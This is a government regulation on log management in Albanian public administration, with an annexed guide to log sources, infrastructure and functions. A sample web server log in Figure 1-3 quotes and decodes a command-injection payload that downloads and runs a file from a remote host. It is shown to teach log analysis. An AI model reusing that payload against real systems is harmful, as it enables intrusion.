PRIME MINISTER'S OFFICE

NATIONAL AGENCY FOR CYBER SECURITY (ALCIRT)

REGULATION FOR THE DIGITAL LOGS MANAGEMENT IN PUBLIC ADMINISTRATION

Approved with Order no. 109 date 10.06. 2016 of the Director of the National Agency for Cyber Security (ALCIRT).

Content

1. Introduction

The National Agency for Cyber Security (ALCIRT) based on Decision no. 766 of date 14.09.2011, as amended, pursuant to point 3 letter d) "Publishes the security rules of government's computer networks and systems".

2. Purpose

The purpose of this regulation is to guide public administration in its work practice by implementing rules for managing digital logs in public administration:

a) Considering the fact that the Government of the Republic of Albania in its governing program supports the use of information technology and the Internet;

b) Considering that the management of digital logs based on clear rules:
   1. Increases transparency in the work of public administration;
   2. Removes long-term risks and helps in managing various cyber-related problems and incidents;
   3. It is indispensable for enhancing the quality of internal and external controls / monitoring

c) Considering the increase of Internet access by public administration employees and the ongoing digitalization of work processes in public administration;

d) Considering the importance of the professional ethics of public administration for enabling information security, transparency to the public, quality of service, reliability and performance of work processes as well as integrity and publication of information according to the legislation in force;

e) To avoid the negative side of Internet usage and ICT systems from various abuses that may occur during work processes should:

   1. Identify problems that may arise as a result of improper use of Internet service provided by government institutions;
   2. Identify any digital action executed by public administration employees during work processes on digital systems that are related to work processes.

3. **Definitions**

In the meaning of this Regulation, the following terms shall have the following meanings:

- *Log* It is considered any digital note about a certain event or activity
- *Server* Computer System (Hardware and Software) which provides various network services.
- *Antivirus / Antispyware / Antimalware* – Programs that enable control, identification, elimination of harmful software installed in computers (virus, trojan etc).
- *Firewall* Equipment or a computer software that is configured to control traffic passing through the network, allowing or blocking it based on a set of rules.
- *Computer Incident* – An event occurring on a computer and breaching confidentiality, integrity or availability of one computer or system; or the data it holds.
- *ICT* Information and Communication Technology.
- *Storage* Computer memory that is used for mass storage of data.
- *Software* Computer program.
- *VPN* Virtual Private Network that provide high security.
- *Web Proxies* Applications that facilitate Internet access.
- *Routers* Network Devices that manage and send Network packets.
- *Username* String that uniquely identifies a user in a computer system or network.
- *Password* A secret code of a user that should not be recognized by other users, and used with Username, allows access to a system.
- *IPS* Intrusion and Prevention Systems which monitor networks or computer systems from Cyber Attacks.
- *Parsing* The data analysis process to verify whether they are according to the rules.

- *TLS* Cryptographic protocol that provides security data transport on the Internet
- *COTS* Commercial applications that can not be further developed and that can be used for when needed an personalized application.
- *IP* An electronic address consisting of a number of 32 bits.
- *UDP* Network Protocol which is used in cases where it is not needed reliable transfer.
- *FTP* Technology which allows the transfer of files to the Internet.

4. General

This section sets out general rules that should be clear for each employee responsible for management of public administration logs. Government institutions are responsible for the information they handle. For this reason they are obliged to apply a set of rules and procedures for maintaining integrity and confidentiality of information.

a) The institution should establish a written regulation for managing logs according to the requirements of the institution. This regulation should clearly specify all the requirements for maintaining relevant logs for each institution's system / equipment, procedures administration and responsibilities in accordance with this regulation and the legislation in force.

b) The logs for each action performed on the institution's systems should be kept minimally according to the deadlines of the legislation in force. This includes antivirus software logs, anti-spyware, network devices, etc.

c) Logs should be stored in environments that have the necessary physical security and are protected from moisture, magnetic fields, fire etc.

ç) Logs should be protected from unauthorized access in order to secure their integrity, confidentiality and credibility.

d) The institution should provide the necessary resources for a log management at comply with this regulation.

e) Transfer of logs via the network should be encrypted whenever possible.

f) It is forbidden copying / storing logs outside of the infrastructure determined according to rules, except for emergency cases.

g) The log regulation should clearly specify a device to which it will be made time synchronization for all systems / devices of the institution that store logs.

5. Activities for which logs will be held

Logs will be held whenever one of the following system activity is required:

a) Creating, reading, modifying or deleting confidential information (personal), including even confidential information like password.
b) Creation, modification or deletion of information not included in point a).
c) Starting a network connection.
d) Accepting a network connection.
e) Authentication and authorization of users for the activities covered in points a) and b) as login and logout.
f) Giving, modifying, or deleting access rights such as adding a user or a group of users, privilege levels changes, change of the authorization on a file, change of the authorization on the database, changes of the firewall rules and passwords.
g) Changes to system, network, or configuration, including installation of updates or different patches.
h) Starting, stopping or restarting an application.
i) Termination, failure, or unsuccessful completion of an application process, especially in cases when the resource has ended or the maximum limit of one source (CPU, memory, number of network connections, network bandwidth, disk space, or other sources).
j) Detecting hazardous activities by IDS / IPS, Firewalls, Antivirus, Antispyware etc.

5.1 Log elements

Logs should directly or indirectly contain the following elements.

a) The type of action - for example access, creation, modification, reading, deletion or connection acceptance network.
b) Subsystems that execute the action – for example the name of the process or transaction and its identifier.

c) Identifiers (as much as possible) for the subject that requires an action – for example name, computer name, IP, MAC. These identifiers should be standardized in order to simplify the connection of the logs.
d) Values before and after the modification of an element, if possible.
e) Time and date of action along with time zone if not in Coordinated Universal Time.
f) If the action was allowed or stopped by access control mechanisms.
g) Reasons why an action was prevented by access control tools whenever possible.

5.2 Logs Management Infrastructure and Tasks of Responsible Staff for Log Management

Based on point (e) of paragraph 4 of this Regulation, the institution is responsible for the guarantee of the resources needed to manage logs in accordance with this regulation. Main part for log quality management is the log management infrastructure. As a result responsible staff for logging should have the experience and training needed for one better quality management of logs.

5.2.1 Log Management Infrastructure

a) Depending on the resources and specifics of the institution, log infrastructure can be**:**

1) **Central**. After generation, the logs are safely transmitted in one (or several) central server where they pass on other procedures such as correlation, rotation, analysis and archiving.

2) **Local.** After generating logs are saved locally. Their access is done locally, in cases of analysis, or remotely after a strict authentication and authorization process.

3) **Hybrid.** After generation logs are stored locally, but a copy is safely transmitted even in a central server. This allows maximum reliability because it also serves as backup and at the same time allows the advantages of central infrastructure. Access is also more practical.

a. In any case, the logging infrastructure of the institution should have been implemented minimally 4 functions over logs:

1) **Analysis.** Periodic analysis should be done by the responsible staff for the logs. When is it possible analysis should also include the work logic of the institution, which action can lead to identifying long-term problems and / or improving service delivery citizen. Analysis of security logs is **mandatory** to be performed periodically, the interval of these analyzes should be at least the minimum time of log storing specified in point b) of paragraph 4 of this Regulation.

2) **Rotation.** A new log file starts whenever a certain size reaches or passes a fixed deadline. In any case this size should not exceed **100MB** or passes **3 calendar months.**

3) **Archiving.** Archiving can be done after the time specified in item b) paragraph 4 of this regulation is exceeded. Archiving should be performed on certain devices for this purpose task (cork, CD / DVD, hard disks). Devices should be stored in safe environments that provide security from unauthorized access. Older logs can be deleted after the deadline set out in point b) of paragraph 4.

4) **Backup.** Unless the infrastructure is hybrid, which naturally allows the creation of one backup, in other cases it is mandatory to back up emergency logs. Backup should be done at certain intervals, but this interval should never exceed a **calendar week**. The devices where the backup is stored should be stored in safe environments that provide security from unauthorized access.

b. In cases where in the log management infrastructure are implemented different software for managing logs, they should be one of the following types (for more refer to chapters 3.3 and 3.4 of the "Guide for managing logs", annex of this regulation):

1) Syslog-based. These systems are simple to use. They determine for each log its type and log priority. If you select this type of log management software, you should consider using versions that implement security in transmission and reliability in log generating.

2) Software for Security Information and Event Management (SIEM). These systems allow for centralized log management. They are systems that provide security and reliability in log management. They also offer different functionalities for log analysis and reporting.

5.2.2 Duties of Responsible Staff for Log Management

The institution should ensure that responsible staff for logs managing have the capabilities and the capacity needed to carry out this task. The duties of this staff include at least:

The staff responsible for logs managing should set out a clear plan on how to implement it this task (can be used Chapter 4 of the "Guide to managing logs", annex to this Regulation.

a) The responsible staff for managing the logs is responsible for maintaining and deleting the logs according to this regulation.
b) The staff responsible for managing the security of logs is responsible for logging security which minimally includes:

1) Limit access to logs only to authorized persons.
2) Protection of archived logs.
3) Monitoring and continuity of the Log Generation Process. 4) Conduct periodic analysis of security logs.

4) Performing periodic analysis on security logs.

c) The responsible staff for managing the security of logs also manages the management different incidents that may occur in the generation, transfer or process saving logs.

d) Take action on logging event termination cases.

e) Maintains software used for managing logs by installing and configuring updates, or patches.

6. Sanctions

Failing to comply with this regulation is considered violation and is punishable by disciplinary measure.

7. Entry into Force

This regulation enters into force after its publication in the Public Announcement Bulletin.

Annex 1

Guide

For managing digital logs

1. Summary

A log is a digital note about an event or activity within systems and networks of a public institution. Logs consist of log entries: where each entry contains information about a specific event occurred within a system or network. More than two logs within an institution may contain information about computer security. These logs for computer security are generated from many sources, including antivirus, firewall and intrusion detection and prevention systems, server operating systems, computers, network devices, various applications.

The number, quantity, and types of computer security logs have increased, as a result their management is necessary, a process that is related to the generation, transmission, saving, analyzing, and deleting logs for computer security. Log management is a key factor so that computer security records are preserved with enough details and for the necessary period of time. Routine log analysis is needed to identify security incidents, breakings of security policies, illegal activity, and operational problems. Logs are also needed for control or legal analysis, supporting internal investigations and identifying operational problems or long-term problems.

A fundamental problem in log management in many public institutions is the deployment of an equilibrium between small resources available to store logs with the continuous data generated. Log generation and storing them can be complicated by many factors such as: a large number of resources for logs, inconsistent information, format and registration time. Log management also includes protection of confidentiality, integrity and log access. Another problem in log management is to ensure that regular log analysis are carried out by log administrators. This document helps to achieve these objectives in log management.

Implementing and following the following recommendations will help agencies and public institutions in an efficient log management.

Public institutions should set certain policies and procedures of log management

In setting up and tracking the log management process successfully, a public institution should establish standard procedures in log management. As part of planning an institution public needs to set its needs and goals for logs. Based on them a public institution should establish the mandatory policies and procedures to be followed as well as recommendations for log management that should include generation, transmittion, storing, analysis and deletion of logs in accordance with the legislation in force. The management of the public institution should ensure that the log management process has the necessary support.

Requirements and recommendations for logs should be established in accordance with the technology and resources required to maintain them in accordance with security and integrity requirements as well as with the relevant legal framework that the public institution operates (eg internal audit). Generally, public institutions require the retention and analysis of logs for data of particular importance to the institution, and follow non-alignment procedures or recommendations for the rest of the logs in cases where resources are sufficient. In some cases,

public institutions choose to store all generated logs, or nearly all, for a short time. Maintaining all logs favors security over resource management and in some cases results in more efficient decision making. In determining procedures and recommendations, institutions should be flexible because logs vary from system to system as well as generated quantity and storage time.

Public institutions should give priority to log management.

Once a public institution has defined its requirements and goals for a log, it has to determine and prioritize its requirements and goals in reducing the risk for their management and determine the resources needed for this purpose. A public institution should also determine the role and duties of personnel who will handle log management.

The public institution should develop and maintain a management infrastructure logs.

An infrastructure for log management includes hardware, software, networks, and the environment (hard disk, tape, DVD etc) that will be used for generating, transmitting, analyzing and deleting log data. The log management infrastructure generally performs some functions that support the analysis and security of log data. After defining an initial policy of log management and related duties and responsibilities, a public institution should establish and support an appropriate infrastructure for their realization. Public institutions should focus on building infrastructures that include the log central server associated with the respective storage. For designing these infrastructures public institutions should consider the current situation as well as future situations, as well as other log sources that may arise in the future. The factors on which the design should be based are: the amount of logs to be processed, the security requirements of these logs, network capacity, online and offline storage, the time and resources needed by staff to analyze them.

Public institutions should provide the necessary support to the log management staff

In order for log management to be carried out professionally for each system in particular, the responsible staff should have the necessary support from the management of the institution. This includes dissemination of information, necessary trainings, knowledge of relevant legislation, definition of contact points, technical guidance, tools and documents as far as possible.

Public institutions should define the standard log management processes.

Standard log management processes generally consist of configuring log sources, performing log analysis, initiating responses for certain events that are identified, and managing longterm memory. Administrators also have other responsibilities such as:

1) Monitoring the status of all log sources.
2) Monitoring the process of rotation of logs and the archiving process.
3) Monitoring software updates used for logs as well as receiving, testing and their implementation
4) Checks that the time (hour) of each log source is synchronized.
5) Reconfiguring logs when policies, technology, or other factors change
6) Documentation and reporting anomalies in the rules of keeping logs, configuration and processes.

2. Purpose and Scope of Application

This guide is intended to help public institutions understand and apply the "Regulation of Digital Log Management in Public Administration" for efficient log management. It provides practical guidance so that an institution develops, implements and maintains procedures that assist in log management, creating and developing infrastructure, and performance of log management. This guide deals with log management technologies in general, it is not a manual for step by step implementation. It don't prevail over the legislation in force.

3. Subjects

This publication was created for computer security staff, managers, administrators of systems, networks and applications, CIRT, or others related to log management in public institutions.

4. Structure of the Guide

The document contains 4 technical chapters. Chapter 1 gives an introduction to log management and why it is needed, Chapter 2 provides sections, architecture, and log management infrastructure functions. Chapter 3 provides recommendations for scheduling log management, tasks and responsibilities assignment and creating effective policies. Chapter 4 provides the processes that a public institution needs to establish to make good log management.

Chapter I

1. Introduction to Computer Security Logs Management

A log is a note for an event or activity that occurs on one of the systems or networks of the institution. Logs consist of log entries where each entry contains specific information to an event. Initially, logs are used to help solve various problems, but then they are also used in other functions such as system optimization, performance enhancement, user action retention, and dedection of malicious actions by competent authorities. The logs have evolved so as to preserve many categories of events that occur through systems. Within a public institution the logs hold a lot of computer security information. These include eg attempts to authenticate and

network devices keep logs by which it is possible to understand the various attacks that have been made on the network of the institution. Due to the large increase in the use of nets, servers, the increase of workloads in these networks as well as the devices used by them, the number of cyber threats is drasticly increased which has bring the increase of computer security logs . This has made it necessary to process log management that consists of generation, transmission, saving and deleting logs.

1.2 Computer Security Logs

Logs can keep various information about specific events occurring in the systems and networks. In this chapter will be discussed the following two logs categories:

a) Security logs that keep information related to system security
b) Operating system logs and application logs, which contain a variety of information, including those related to security

Under different conditions many logs generated in an institution may be related to computer security. For example. Many logs generated by network devices such as routers and switchs or network monitoring programs can store data that are used in the security field such as auditing or compliance with applicable regulations. However these logs are treated as logs that are used when needed and do not have security as a primary purpose. In this document we will handle those kind of logs which are considered as important in the field of computer security. Public institutions should consider different log sources when they are creating their log infrastructure and policies.

Many of the log sources function consistently and consistently produce logs. Some others are periodically executed and executed as a set of functions by increasing their quality in case of incident handling. The following chapters will discuss the second type.

1.1.1 Security Software

Many institutions use different types of security softwares in their networks and servers to detect malicious attacks, protect their systems and data or assist in investigating security incidents. These software are a major and important source of security logs. They consist of some types including:

a) **Antimalware Software.** The most popular software of this type are antivirus softwares, which detect and create logs for all captured attacks occurring in the system, attempts for cleaning and files stored in the quarantine. They also create logs if someone scans the system, or whenever the antivirus itself updates the list of risks.

b) **Intrusion Detection and Prevention Systems.** These systems create logs for any suspicious action occurring in the system, any detected attack and any other action taken by them to increase the security of the system. Some intrusion prevention systems, such as file-integrity control software, are periodically executed and create a series of logs.

c) **Remote Access Software.** Remote access is generally provided through the use of private networks (VPNs). VPNs generally maintain logs for any failed or successful authentication attempts, time and date of each connection and disconnection and the amount of data transmitted in each session. Also some VPN, which provide granular access control as SSL, maintain detailed information about the used resources.

d) **Web Proxies.** Web Proxies are intermediate hosts for accessing web pages. They make requests to web pages upon users request and make web site access more efficient. They can be used to reduce access and increase protection between client and server. Web proxies maintain the log for each URL the user visits.

e) **Authentication Servers.** These servers maintain logs for any authentication attempt, including origin, username, success or failure of authentication, time and date.

f) **Routers.** Routers can be configured to block a part of traffic based on certain policies. When routers are configured for traffic jam, they generally maintain the basic features of the blocked activity.

g) **Firewalls.** Similarly, both routers and firewalls can be configured to block or allow certain activities to significantly increase the level of complexity. Firewalls can also perform network traffic content inspection. They also generate more detailed logs for suspected malicious activities.

Figure 1-1 gives examples for some logs.

Intrusion Detection System [**] [1:1407:9] SNMP trap udp [**] [Classification: Attempted Information Leak] [Priority: 2] 03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162 UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87 Personal Firewall 3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)).","Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)). Inbound TCP connection. Local address, service is (KENT (172.30.128.27), netbios-ssn(139)). Remote address, service is (192.168.1.54, 39922). Process name is ""System""." 3/3/2006 9:04:04 AM, Firewall configuration updated: 398 rules.Firewall configuration updated: 398 rules. Antivirus Software, Log 1 3/4/2006 9:33:50

AM,Definition File Download,KENT,userk,Definition downloader 3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System 3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System Antivirus Software, Log 2 240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,, Antispyware Software DSO Exploit: Data source object exploit (Registry change, nothing done) HKEY_USERS\S- 1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3

Figure 1-1. Examples of security logs[1].

1.1.2 Operating Systems

Operating systems for servers, workstations, routers, or other network devices generate different log categories. The most common of these logs that are related to security are:

a) **System events.** The system events are operational actions carried out by the components of the operating system, such as the startup or interruption of a procedure. Generally, the system maintains logs only for the cases of startup and interruptions of the procedures. However, many operating systems allow the administrator to select the logs that are kept. Also, from system to system changes the amount of details held for each event. Usually, information about the date and time, event, status, error (if there is any), services name and the name of the system user are kept.

b) **Audit Logs.** Audit logs provide information about security events such as authentication attempts, file access, security policy changes, and manipulations in the user data and their privileges. Generally, operating systems allow administrators to determine the type of logs which will be maintained.

c) **Operating system logs.** Operating system logs maintain information from other applications running on the system that are mostly used to investigate suspicious activities by responsible persons or structures. When such activity is identified by special software, logs are often used to get more information about the activity. For example, network devices may detect an attack against a host. Host operating system audit logs can tell if the user is logged in successfully at the time and therefore whether the attack has been successful.

Figure 1-2 shows examples of operating system logs.

Event Type: Success Audit
Event Source: Security

Event Category: (1)
Event ID: 517
Date: 3/6/2006
Time: 2:56:40 PM
User: NT AUTHORITY\SYSTEM
Computer: KENT Description:
The audit log was cleared
Primary User Name: SYSTEM Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0, 0x3F7) Client User Name: userk
Client Domain: KENT Client Logon ID: (0x0, 0x28BFD)

Figure 1-2. Example of operating system logs[1]

1.1.3 Applications

Operating systems and security software provide protection for applications that store, access and manipulate business process data or data from a public institution. Many public institutions rely on "off-the-shelf" commercial products (COTS) such as mail servers, browsers, web servers, file servers, database servers, and so on. They also use other applications such as financial management, procurements, production management, customer management etc. Besides these applications, institutions can also use customized applications for their needs.

Some applications generate logs themselves while others rely on the operating system for generating logs. Applications differ in the type of logs they generate. Below are some examples:

a) **Client requirements and server responses**, which can be very useful in rebuilding the events and their consequences. If the application maintains the username as log information, it is relatively simple to determine the user who generates the request. Some applications keep quite detailed logs, such as mail servers, web servers, or financial management applications. Information can be used to investigate various incidents or assist in audit processes.

b) **Account information**, such as change of data or failed attempts to be authenticated. Besides the cases where someone breaks the system by means of a "brute force" attack or obtaining privileges that do not belong to them, these logs can be used to see which user has used the application and when.

c) **Usage information** is, for example, the number of transactions performed using the application over a certain period of time. This may serve for some security monitoring cases.

d) **Important Operational Actions** for a public institution. Their logs can help in timely identification of compromised systems or failures in carrying out the actions.

A lot of this generated information is not transmitted to unencrypted networks and it has a great value in the context of security for incident management, audit etc. On the other hand, these logs depend heavily on the contextual viewpoint of the information processed by the application, which increases the cost of analyzing them.

Below is an example of a web server's logs.

172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bc hmod%20%2bx%

20nikons%3b%2e%2fnikons; echo%20YYY; echo| HTTP/1.1" 302 494 172.30.128.27 IP address of the host that initiated the request

Indicates that the information was not available (this server is not configured to put any information in the second field)

User ID supplied for HTTP authentication; in this case, no authentication was performed [14/Oct/2005:05:41:18 -0500]

Date and time that the Web server completed handling the request
GET HTTP

method /awstats/awstats.pl

URL in the request Config

dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bc hmod

%20%2bx%20nikons%3b%2e%2fnikons; echo%20YYY; echo|

Argument for the request. Each % followed by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 is equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below.10 config dir=|echo; echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo
HTTP/1.1
Protocol and protocol version used to make the request
302
Status code for the response; in the HTTP protocol standards, code 302 corresponds to "found"
494
Size of the response in bytes

Figure 1-3. Examples of logs from a web server

1.1.4 The usefulness of logs

Categories of logs described so far hold different types of information. Some of these logs are more suitable for different situations such as identifying attacks, scams or misuse of applications. For each situation some logs keep detailed information about that event, while other logs have less information or keep detailed information about events related to the main one. An example is when an intervention monitoring system detects an attack, its logs are the basic source of information and at a second time the administrator can also consult the logs maintained in firewall for more information.

Administrators should always be assured of the authenticity of the logs and their source. When logs are transmitted without encryption, they are simpler to modify. Also, care should be taken for modifications in the logs configuration. In cases of manipulated machines it is good to be careful and to analyze other logs.

1.2 The necessity for log management

Management of logs helps a public institution in many ways. It ensures that security information is stored in details and for a long time. Routine analysis of logs allow the identification of incidents, fraudulent activities, policy breaks and operational problems shortly after they occur. They also help in investigating various events, auditing and assisting the institution in internal problems.

1.3 Challenges in the management of logs

Many public institutions have similar challenges when seeking to solve the problem of logs and the foremost is: Finding the balance between limited resources for this process and the increasing amount of logs.

1.3.1 The generation and storage of logs

In many institutions operating systems, security software and various applications generate and store logs. This complicates the process of managing logs in several ways.

a) **Many log sources.** Logs are located in many places within a public institution, creating in this way the necessity for their management. Also, only one source can generate a variety of logs

b) **Non-consistent content of logs.** Each log source retains a special piece of information such as IP and username. For efficiency reasons, many log sources retain only those information that are important to them. This makes the connection between different logs that relate to the same event very difficult. Also, log sources may exhibit different forms of the same data, for example, the date is given in different formats. Another case

is when a source delivers FTP with the name FTP, while a source delivers a 21-port number.

c) **Non-consistent times.** Every log source sets its internal time when it generates a new entry. This makes it difficult to analyze data from different sources. For example, in some cases it may sound like an event occurred a minute later on computer A from computer B, but this may have happened simultaneously.

d) **Non-consistent formats.** Some logs use ";" to divide entries, some use the "tab", some are stored as plain text, some as XML, others use a database, while others are stored in binary form. Some logs are readable by eye and in understandable forms, some others need customized software.

Institutions need to develop different methods to merge different logging formats that come from different sources in a single one that can be easily analyzed. Non-consistent formats and other data are problematic for the analyzer and in such conditions it is easy to mistake.

1.3.2 The protection of logs

In many public institutions, operating systems, security software and various applications generate and store confidential information. In certain cases, they can store passwords or email content. This raises the issue of log security and includes log analysts and people who can access them in an authorized or unauthorized manner. Logs should be stored in safe places and different people should not be allowed to modify or destroy them voluntarily or involuntarily. The destruction of logs may lead to the continuation of malicious activities, or the loss of evidence for the identification and punishment of malicious people or malicious activities. In many cases rootkits are designed in such a way as to modify the logs by missing the traces of their installation.

Often logs exceed the limits set for them. Various institutions have policies that store up to 100,000 logs or up to 100MB of memory dedicated to logs. In order to maintain the established standards, the need for copying these logs often arises. In some cases, filtering can be applied by storing what is important. Confidentiality and security of archived logs is also very important.

1.3.3 The analysis of logs

Within the larger institutions, network and system administrators have traditionally been responsible for conducting log analysis. This process is treated as a low priority task by

administrators because other administrator tasks, such as handling operational problems and solving security vulnerabilities require quick responses. Administrators who are responsible for conducting log analysis often do not receive training to do it efficiently and effectively, especially in the priority given to log analysis. Also, administrators often do not get the latest tools that are in circulation to help the analysis process, such as scripts and security software (eg information security management tools and security event management tools).

Many of these tools are particularly useful in translating forms that people can not understand, such as binary numbers and connecting multiple logs related to the same event. Another problem is that administrators consider the analysis a boring and unprofitable process for the amount of time it requires. The analysis is often treated as something reactive, done after the problem has been identified by other means, rather than proactive, to identify the activity before causing the problem and preventing it. Traditionally, most logs are not analyzed in real time or close to it.

1.4 The overcoming of challenges

Despite the challenges that an institution faces in managing logs, there are some measures that can be taken to successfully cope with them:

a) **Giving adequate priority to the management of logs in the structures of the institution.** A public institution should carefully determine its requirements and purposes in maintaining logs and managing them. Subsequently, the institution distributes its resources to manage logs by prioritizing a few logs that have the most effect on reducing risk.

b) **The determination of procedures and policies in the management of logs.** An institution must determine the correct policies and procedures to be followed in the management of logs. Continuous audits are important in order for the public institution to be conform the standards. Frequent tests ensure that these policies and procedures are properly implemented.

c) **Creation and maintenance of a secure infrastructure of the logs management.** Creating an infrastructure and maintaining it is very important in the log management. This infrastructure should ensure that logs are not modified or deleted, and their confidentiality is maintained. It is also important that the infrastructure has capacity not only for the expected amount of logs but also for critical situations.

d) **Appropriate support for all the staff responsible for managing logs.** When public institutions make a log management scheme it is important to ensure that the

responsible staff have the necessary training. Staff support should also include the tools and documents needed for efficient logs management.

1.4 Summary

Many logs within security institutions relate to security events within networks and systems. Many institutions use security software such as antivirus, Intrusion Detection and Prevention Systems, firewalls, etc. These software are the main sources of security logs. The operating systems on the server, workstations, network devices etc. also generate a variety of logs, among which are many security logs, especially audit logs. Another log source is the amount of logs generated from applications.

The number, quantity and categories of logs have increased much over time, making log management necessary, including the process of generating, transmitting, storing and deleting logs. Log management must ensure that security logs are stored in details and for a reasonable time. Periodic analyzes are necessary in order to identify incidents, problems with policies, fraudulent activities or other problems. Logs also serve for internal or external investigations, audits, and long-term problem identification. The main problem with log management is the balance of the limited amount of resources with the increasing amount of logs. The generation and storage logs is complicated by various sources, lack of consistency between formats from different sources and large daily volume. Saving the logs from interfering and securing confidentiality is also a problem, but also providing access to them. Conducting periodic analysis by administrators does not always happen due to the low priority given to it. Some practices for solving these problems are:

a) Giving priority to logs management in public institutions.
b) Setting policies and procedures in log management.
c) Creating and maintaining an infrastructure for managing logs.
d) Training of staff in charge of managing logs.

Chapter II

2. Log Management Infrastructure

A log management infrastructure consists of hardware, software, networks, etc. used for generating, transmitting, storing and deleting logs. Many public institutions have one or more log management infrastructures. This chapter describes the specific parts of the infrastructure and how they relate to each other. It then describes the main processes that are carried out by

the infrastructure. It analyzes the two main categories of log management software, the centralized syslog-based logging software and security software and event management. Also there are described other types of software that can help manage logs.

2.1 Architecture

A log management infrastructure generally consists of 3 layers which are:

a) **Generating logs.** The first level contains hosts that generate log data. Some hosts use applications to make their logs available to the server. Some others allow servers to authenticate and pull their logs.

b) **Analysis and storage of logs.** The second level consists of servers that receive logs from the first level. Data is transmitted in real time or nearly real time, but sometimes it can be scheduled to be transferred periodically or when a certain amount of logs is completed.

c) **Monitoring logs.** Third level are machines used for monitoring, reviewing logs and for automatic analysis. These machines can also be used for generating reports.

The second level, analysis and storage, varies in complexity and structure. The simplest is a server that manages logs. Complexity can increase as it follows:

- Many servers that perform specific tasks such as collection, short and long term storage or log analysis.

- Many servers where each one performs log management tasks for a particular resource or set of resources. This creates the possibility of redundancy in cases where one of the servers fails, because other servers may temporarily perform the task.
- Two server levels, where the first performs collection and analysis of logs and sending some special logs to the top level servers. This is primarily done for security reasons. Having two server levels the first level also serves as a protection in case of attacks.

Communication between the various parts of a network management infrastructure generally occurs inside the network of the public institution. However, a separate network can be used for logs, especially for important devices such as firewalls, IPS, IMS routers, and data transfer to log servers. During an incident involving the network or during an attack that targets the network, it may become useless by making it impossible to broadcast the logs. In addition, having a separate network for logs protects from tapping into the broadcast. It also protects log management from other attacks that may happen to the institution.

In some cases log generators may be disconnected from the network or physical connection to the log server. In these cases, transportable media such as CD / DVD, flash drive etc. can be used. In other cases, the transmission may be needed from mobile devices, which means low bandwidth. It is therefore important that the infrastructure be as flexible as possible.

Public institutions may have a log infrastructure, but whenever possible it would be good for them to divide into parts that do not communicate with each other. Some institutions have many log management infrastructures that include the internal structure, system types, log types, and so on.

2.2 Functions

Infrastructure performs several functions which are related to analyzing, storage or deletion of logs. These functions normally do not affect original logs. Some functions are: **a) General**

1) Parsing logs is the process of extracting data from a source and passing them to the next process. An example is when a text file that holds 10 rows of logs separated by ";" is copied elsewhere. The process of parsing is part of the most complicated processes.

2) Filtering events is the process when a part of logs are not included in the analysis, long term storage, etc. because the stored information is considered insignificant. Usually filtering does not affect short-term logs.

3) Aggregation of events occurs when many log entries join in one. This functionality can be used to reduce the amount of logs.

b) Storage

1) Log rotation occurs when a log file closes and a new one opens. This can happen every hour, day, month or when a file has reached a certain number of entries or sizes. This is done to keep the files in manageable sizes. Then these files can be compressed or analyzed as appropriate.

2) Archiving of logs is done in special environments such as network storage or similar. Archiving is done for those logs that may need to be stored for a long time. Archiving is made to support subsequent investigations.

3) Compression of logs is their storage in a format that reduces the amount of memory needed. Compression usually occurs during rotation or archiving of logs.

4) Reduction of logs is the process where part of the entries are deleted because they are considered unnecessary.

5) Conversion of logs is their transformation from one format to another format that is more convenient to save as a database or XML. Many generators generally do convert logs as well. Conversion is associated with filtration, aggregation and normalization processes.

6) The normalization of logs is the process of converting data into consistent formats. One of the normalization examples is the date where time and date are converted from different formats in the same format. Normalization is a process that takes a lot of time and resources, especially for complex conversions and normalizations.

7) Log integrity check is the process of calculating a message for each log file and storing it in a safe place. These messages are created with the help of algorithms like MD5 or SHA-1. If even a single bit changes to the initial file, then the complete message generated changes.

c) Analysis

1) Connecting events is the creation of a connection between several log entries. The most popular form is that based on rules, where logs from the same source or different sources are connected by a certain criteria such as time, IP address etc. Events can also be connected using statistical methods or visualization tools. When the link is made by automatic methods then a single log is created by merging some. Depending on the type of this file, the infrastructure may also generate a notification.
2) Viewing the logs is their appearance in a format understandable by humans. Many of the log generators offer tools for their display. There are other tools that, besides displaying, also aggregate or filter logs.
3) Reporting logs is the output of log analysis result. Reporting is used to summarize activities performed over a long period of time or to display detailed information about a particular event.

d) Deletion

Deletion of logs is the process of cleaning all log entries before a certain date. This is done because those logs are considered useless or because they are archived.

A log management infrastructure generally has all the functions described. Their location at three levels of infrastructure depends on the software used for each function.

2.3 Syslog-Based centralized logging software

In a syslog-based log infrastructure, each log generator uses the same high-level forms and the same way of transferring to the server. Syslog provides a simple structure for generating, transferring, and storing logs used today by many operating systems or security software.

2.3.1 Syslog Formats

Syslog assigns priority to each message based on two qualities:

a. **Type of message or otherwise skill.** The message may be of a kernel type, an e-mail message, an authentication message, a print message, an audit message etc.
b. **The degree of importance.** Each message has a degree of importance starting from 0 (emergency) up to 7 (debug).

Syslog uses these priorities to determine which message will be processed first, such as sending high priority messages before the less important. Priority does not specify the actions to be taken. Syslog can be configured how it processes priority-based messages, but it is limited only to sending messages and can not perform actions based on message content.

